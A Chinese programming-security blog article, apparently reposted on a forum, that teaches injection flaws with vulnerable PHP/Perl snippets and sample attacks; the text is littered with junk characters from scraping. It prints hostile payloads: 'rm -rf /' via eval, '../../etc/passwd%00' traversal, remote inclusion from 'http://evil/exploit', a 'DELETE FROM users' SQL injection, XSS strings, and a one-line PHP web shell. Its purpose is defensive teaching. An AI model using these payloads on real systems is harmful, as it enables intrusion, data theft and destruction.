|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1
0 i2 y. q& N, m5 l+ M[size=1em]2
' k! F5 l6 ~) z( t. r[size=1em]3 , d# ~3 I5 \7 z z3 b
[size=1em]4 $ ^. U" L* `7 |9 V& L. R% R4 @
[size=1em]5
& ?9 C- ~4 P; t2 T[size=1em]6
a5 d# j+ B3 X- B9 q# l[size=1em]7
9 X- x+ a- V! B1 m7 u9 y& N0 b3 j$ S[size=1em]8
1 q1 c s- ]% H+ }[size=1em]9 8 ?+ P6 T+ `+ P* i) M G
[size=1em]10
$ O( X! _" o! T5 O: _* l" X$ S) ]8 Z! x[size=1em]11
. ~1 @2 S: ~% d4 ?5 _ | [size=1em][size=1em]use CGI qw(:standard);
( K4 n/ `3 f/ k/ @; R: T$ e[size=1em]$name = param('name');! T: {# Y9 [8 Y6 I% I4 x$ U z
[size=1em]$nslookup = "/path/to/nslookup";4 T' |7 M' V( i; ?
[size=1em]print header;
3 @% \: _& ~- q[size=1em]if (open($fh, "$nslookup $name|")) {
1 ~# I5 E, w) U& @+ c8 Z4 ^- C4 Z[size=1em] while (<$fh>) {
5 e$ a5 T% L' K4 H% y5 K7 Z7 D& P[size=1em] print escapeHTML($_);; }( J3 z% ^0 Q7 w! u8 h
[size=1em] print "<br>\n";
7 s! P; K: S2 \, O( u[size=1em] }& }, l8 {& o6 [0 q4 R
[size=1em] close($fh);
- N" n. ]6 O1 ]# Y[size=1em]}# V) R6 u, t& _' C8 C
+ @0 L' A8 A# I5 g+ ^1 y0 U4 y
| 6 f [, v7 i8 a8 ^
! }5 {% L7 E6 Y+ z6 d5 Z2 z
如果用户输入的参数是: [size=1em][size=1em]1
2 K; R$ }* v: V1 Z5 y! W | [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l
0 _( O9 k7 a" B8 w# b0 y+ b) l x% ~$ q2 S" z- q$ K. S4 E: }
|
. X4 C: \9 U. r- q, ?+ o
4 g4 z& N/ r) L+ w% q( s那么,这段perl的程序就成了: " _7 k" @( Q) ]# V& f& G0 }& o' W( t
[size=1em][size=1em]1
: D1 O+ d" m) i' ~' @ | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l J1 I; E# u1 F
* F/ u8 n5 u9 q% } v, O
| O3 _3 T" {# r' U
y+ y( Q3 L- w0 g& K7 z1 H我们再来看一段PHP的程序: [size=1em][size=1em]1
4 }# w5 L& D4 s+ \+ N! F[size=1em]2 6 u8 d6 V0 l& c, L l4 B% k* w6 t
[size=1em]3 ) e' c* a4 i0 i9 h9 \
| [size=1em][size=1em]$myvar = 'somevalue';) S3 T w! k( L8 b9 o) V
[size=1em]$x = $_GET['arg'];
$ o% a |# P% k' N[size=1em]eval('$myvar = ' . $x . ';');
+ c- D8 G0 W$ V# X2 o9 Q5 K# L7 `
|
: n' I; K+ @' U, N3 W: A; h s- e5 w) j# w7 a
“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1 2 V. R3 \7 ]% p' N0 S. y' i: F
[size=1em]2
- D) a6 D0 A! D h( M7 X0 t0 q[size=1em]3
1 r. F* Z( R8 M# n3 U6 e) m! }[size=1em]4 0 c2 K+ ?$ T" E& [6 E; Q9 F
[size=1em]5
U/ E- s1 H, W" }: c$ ?! ]6 H[size=1em]6 * J/ P- [# X& x4 ^
| [size=1em][size=1em]$isadmin= false;
' j T# l; m2 n6 B6 W+ ?[size=1em]...+ u! v8 u: g& m# O
[size=1em]...
+ c' [) g, e) |[size=1em]foreach ($_GET as $key => $value) {; z/ L3 d3 M: O5 j- L. a' x5 l
[size=1em] $$key = $value;
- b7 ^0 ^: i3 |! d[size=1em]}
9 K3 J* y) `* v* C: R) f# j- i3 _) G! z& {% I! Y
|
( i& f5 j# g: o# ]6 X: F
2 u" n" D- A4 d' H如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1 % H4 z* b+ A3 q0 N
[size=1em]2 ; X' ^+ \* s S1 k
[size=1em]3
* U/ t7 q# i. `2 w' S7 |/ O/ E& K[size=1em]4
+ U( u& T; y% z0 i | [size=1em][size=1em]$action = 'login';
; _5 M1 {1 _+ b6 Y3 M1 b; [[size=1em] if (__isset( $_GET['act'] ) )$ B* P8 P- R& ~; m- S: y1 h* D h
[size=1em] $action = $_GET['act'];
, v; r' M6 s' q6 k# o4 E4 y4 Q[size=1em] require( $action . '.php' );
7 z. M) F6 n! H6 r
/ D/ q" }9 H! ~+ N) H |
8 [! c. f# _* G: i/ G8 x7 J4 {
8 t1 D4 ~, {1 k" u1 [8 C. z这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击): i7 ?) G3 r0 s6 \8 B1 D
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。: I- g3 X; Q2 w& J5 w. m
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1 0 m9 C/ d* M$ H$ H- w2 K( I; W
[size=1em]2
4 |. }% Z! ^, S/ o' c+ ~ | [size=1em][size=1em]strSQL = "SELECT * FROM users
, f- u. A+ G) l# q# C[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
( J9 X4 v/ v0 _. a# Q P% Y q7 Z% {7 x: ~
| ! j# B6 X1 I! i
# C, D4 o, t- Z: L
用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1 & I3 @4 G# y# U- P
| [size=1em][size=1em]userName = "' OR '1'='1";
1 ~6 B, x p+ b Q! y8 G9 _9 _0 i# z' |. u5 u& W& X; i c
| 1 b" \: ~7 f! V
) h5 l8 }: `% f! O
[size=1em][size=1em]1
# N1 a! f( Z' \/ Y | [size=1em][size=1em]passWord = "' OR '1'='1";
" _9 v0 P, q3 O3 \4 A- O* L5 s7 f! q8 e Y. B
|
9 }6 f% P9 B( P& g4 a* K
3 L& d* l v* h3 c5 B: c5 ^5 X/ R此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1
9 W& S) ?" @9 S* R" k! w* T[size=1em]2
- W: T1 x7 I- z5 M9 M | [size=1em][size=1em]strSQL = "SELECT * FROM users
* O: O6 Z: F- t+ \0 z3 \' j[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"# S w* a/ ~, q! l! o- Z! y
( s- _. n4 Y9 u
| 3 a q, A7 c# e% u) K( k \
4 b( Z- {3 N* E+ P# A0 g; z也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
3 T# B8 H' U3 p1 Q I | [size=1em][size=1em]strSQL = "SELECT * FROM users;"
0 @8 R: b& v- L0 p& Y5 Z1 j3 q) d, U+ g/ K' N `
| 4 p F/ S9 f! q! @% ]
8 p* L* ~$ A4 O
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
9 l! y% b/ i4 X | [size=1em][size=1em]username= "' ; DELETE FROM users; --"; i! k2 l* S% v0 [7 r% y
2 }4 y- o; Z$ R" b1 U0 p |
0 y# I% F8 u% T/ b# R/ o7 g$ J% U* `! L: e, l# H, q5 v
这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1
$ P3 U" A. ?+ }[size=1em]2 & j0 c+ D/ L. A
[size=1em]3 + F& @. B; b5 n7 G' }# [7 Z* k) P0 V& s
[size=1em]4 * M+ {, i* B: o7 `6 Z
[size=1em]5
; q! }' ?5 |. `/ D | [size=1em][size=1em]<table background=”javascript:alert(1)”>
1 U" I. w; ]% M% n( W
+ M3 k ^4 F$ H# |[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾' s3 v# U, K0 }! P9 n# l
A( J* o8 A0 z
[size=1em]<img src=”javascript:alert(1)”>
9 c% \/ d; }; @2 G8 y9 V) _3 r1 Z3 c+ u( y
| 6 q% p! L* H6 \+ ]8 N) L0 ^% ?
$ [6 d6 j% W d/ eXSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1
6 j, M1 `& j$ d; [0 @, P | | - h4 Y' q9 G9 {0 Q c0 \
. L: O; `: \. R, |3 F4 z2 a8 P
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。+ x* W7 l5 j! @! E
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。) R8 {$ _- A8 q
0 C' G: N1 T6 T) n* W
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
5 n( d% {- ]% N# s8 ^" t' l; c, Y6 |
- 限制cookie的过期时间。
6 \. j9 u* _: O% Q" b5 Y* l
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)0 a9 p) l0 e( g" D, S% m( t/ o
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1
4 Z; w( E# ?2 ?& d( Y! ^: v[size=1em]2
$ U1 _% x( X Y; {+ }[size=1em]3
7 R1 D, M* w: ^0 ?/ x[size=1em]4 ) b) Q0 a, m! X% b+ R3 i
[size=1em]5
4 _5 d: {5 S) S e2 T[size=1em]6
. _" K) M- t P[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">) C3 J/ F8 Y! M* f* z* R
[size=1em]要上传的文件:
! O0 \: g% r$ z# j[size=1em]<input type="file" name="filename"/>) u& M+ g4 j! z. r8 @% u# |
[size=1em]<br/>; L$ q0 j, X8 ^: O
[size=1em]<input type="submit" name="submit" value="Submit"/>5 j1 h; i+ X" v
[size=1em]</form>
- X$ u7 C8 L+ g$ }& [- t7 u! n5 {, H% M+ X! V
0 x5 {' G P3 c- Q: e. U* g
- `1 t3 i! f9 n2 d# h. x
[size=1em]后台上传文件的PHP程序[size=1em]1 6 I2 p3 ]9 h. D" _+ D
[size=1em]2 ; i8 S( J! [9 D5 x( p
[size=1em]3
. P1 X( K2 _7 E+ b! K* r[size=1em]4 # @/ H3 ^0 s8 _8 L
[size=1em]5 ' q) {9 M# U6 W0 e
[size=1em]6
+ U+ w1 w ^' ^$ t2 _! {" `3 I[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
4 T: T1 O% J- M[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
( u- s; E1 Q5 v% q; h& Z[size=1em] echo "图片文件上传成功";/ a* e* N2 ~: F4 V. v
[size=1em]}else{</div>8 F" ~3 ?7 L: S8 t( C8 F
[size=1em] echo "图片文件上传失败";- f" ^0 R6 @/ @' B- F7 M( R
[size=1em]}5 _( @; u8 m" }7 T0 L. i
# ~6 T% s# a; w. _
6 r8 E: r% J4 v9 n) h4 A, a# x9 z+ l( P* _( `0 u# _7 X1 d
假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1
, ~. Q# U9 L! L$ e[size=1em]2
( r, }, D2 R2 d0 o[size=1em]3
0 }, z+ O: c" t, k9 i2 H6 a[size=1em][size=1em]<?php
x/ K9 h7 X5 Q& i* O& X7 k+ a[size=1em]system($_GET['cmd']);8 m. p( n% Y# T! s
[size=1em]?>( f$ C }& D* E9 y3 c4 }, g
2 {8 r8 x' u1 M: Z
2 b& d- \) H5 b8 W! f) Y7 } m2 D7 j( s3 o g3 h4 S
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1 $ D/ F+ Q) x, z3 {; T3 k% A6 h8 q
| [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
7 {! G1 |+ f c6 }! A% [( ^/ W3 ^# W' q7 J
| 4 h0 X, t3 a9 q# X' a; B
- t( U# n! D2 e$ H7 m! c; F" F抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1 : Z* ]; D6 i; K; G7 ^1 f. T
[size=1em]2 ' ?/ h0 b6 X7 M# Y$ N) |- v
| [size=1em][size=1em]$redirect_url = $_GET['url'];
7 l& C; Z9 p: a( Z; j+ K[size=1em]header("Location: " . $redirect_url);/ a$ b% p$ b$ N! ~9 O
) k9 V; ~+ b4 y& q: {: U | m; N- u% s4 `" _6 g7 ?) v" C
- l5 z! m$ m. \# V这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
- d6 u' h0 _0 d3 ~' V- B[size=1em][size=1em]1 & Q5 o& l5 \5 m2 M/ L6 v& H
| [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net0 }7 Z' n+ A( L) l
, _- A6 a2 P3 C$ x9 j
|
! W/ F0 y& _8 {) ~9 \+ r7 W5 c/ I* ^& Q
这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |